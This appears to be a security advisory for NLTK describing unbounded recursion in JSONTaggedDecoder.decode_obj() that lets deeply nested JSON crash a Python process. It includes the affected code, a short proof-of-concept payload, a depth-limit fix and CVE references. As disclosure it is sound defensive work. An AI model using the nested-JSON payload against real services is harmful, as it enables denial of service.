Advisoriesby IbisNatural Language Toolkit (NLTK) has unbounded recursion in JSONTaggedDecoder.decode_obj() may cause DoS
Summary
JSONTaggedDecoder.decode_obj() in nltk/jsontags.py calls itself
recursively without any depth limit. A deeply nested JSON structure
exceeding sys.getrecursionlimit() (default: 1000) will raise an
unhandled RecursionError, crashing the Python process.
Affected code
File: nltk/jsontags.py, lines 47–52
```python
@classmethod
def decode_obj(cls, obj):
if isinstance(obj, dict):
obj = {key: cls.decode_obj(val) for (key, val) in obj.items()}
elif isinstance(obj, list):
obj = list(cls.decode_obj(val) for val in obj)
`
Proof of Concept
```python
import sys, json
from nltk.jsontags import JSONTaggedDecoder
depth = sys.getrecursionlimit() + 50 # e.g. 1050
payload = '{"x":' * depth + "null" + "}" * depth
Raises RecursionError, crashing the process
json.loads(payload, cls=JSONTaggedDecoder)
`
Impact
Any code path that passes externally-supplied JSON to
JSONTaggedDecoder is vulnerable to denial of service.
The severity depends on whether such a path exists in the
calling code (e.g. nltk/data.py).
Suggested Fix
Add a depth parameter with a hard limit:
```python
@classmethod
def decode_obj(cls, obj, _depth=0):
if _depth > 100:
raise ValueError("JSON nesting too deep")
if isinstance(obj, dict):
obj = {key: cls.decode_obj(val, _depth + 1)
for (key, val) in obj.items()}
elif...
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| nltk PyPI | < 3.9.4 | 3.9.4 |
Details and references
### Summary `JSONTaggedDecoder.decode_obj()` in `nltk/jsontags.py` calls itself recursively without any depth limit. A deeply nested JSON structure exceeding `sys.getrecursionlimit()` (default: 1000) will raise an unhandled `RecursionError`, crashing the Python process. ### Affected code File: `nltk/jsontags.py`, lines 47–52 ```python @classmethod def decode_obj(cls, obj): if isinstance(obj, dict): obj = {key: cls.decode_obj(val) for (key, val) in obj.items()} elif isinstance(obj, list): obj = list(cls.decode_obj(val) for val in obj) ``` ### Proof of Concept ```python import sys, json from nltk.jsontags import JSONTaggedDecoder depth = sys.getrecursionlimit() + 50 # e.g. 1050 payload = '{"x":' * depth + "null" + "}" * depth # Raises RecursionError, crashing the process json.loads(payload, cls=JSONTaggedDecoder) ``` ### Impact Any code path that passes externally-supplied JSON to `JSONTaggedDecoder` is vulnerable to denial of service. The severity depends on whether such a path exists in the calling code (e.g. `nltk/data.py`). ### Suggested Fix Add a depth parameter with a hard limit: ```python @classmethod def decode_obj(cls, obj, _depth=0): if _depth > 100: raise ValueError("JSON nesting too deep") if isinstance(obj, dict): obj = {key: cls.decode_obj(val, _depth + 1) for (key, val) in obj.items()} elif isinstance(obj, list): obj = list(cls.decode_obj(val, _depth + 1) for val in obj) ```
- CVSS 4.0
- CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
- Severity from
- GitHub (reviewed advisory)
- Weakness
- CWE-674
- Also known as
- CVE-2026-66393, PYSEC-2026-3724
- github.com/nltk/nltk/security/advisories/GHSA-rf74-v2fm-23pw
- nvd.nist.gov/vuln/detail/CVE-2026-66393
- github.com/nltk/nltk/commit/00cdcd392142e6c745e7120c8d50a24127df5fad
- github.com/nltk/nltk
- github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3724.yaml
- www.vulncheck.com/advisories/nltk-before-denial-of-service-via-jsontaggeddecoder
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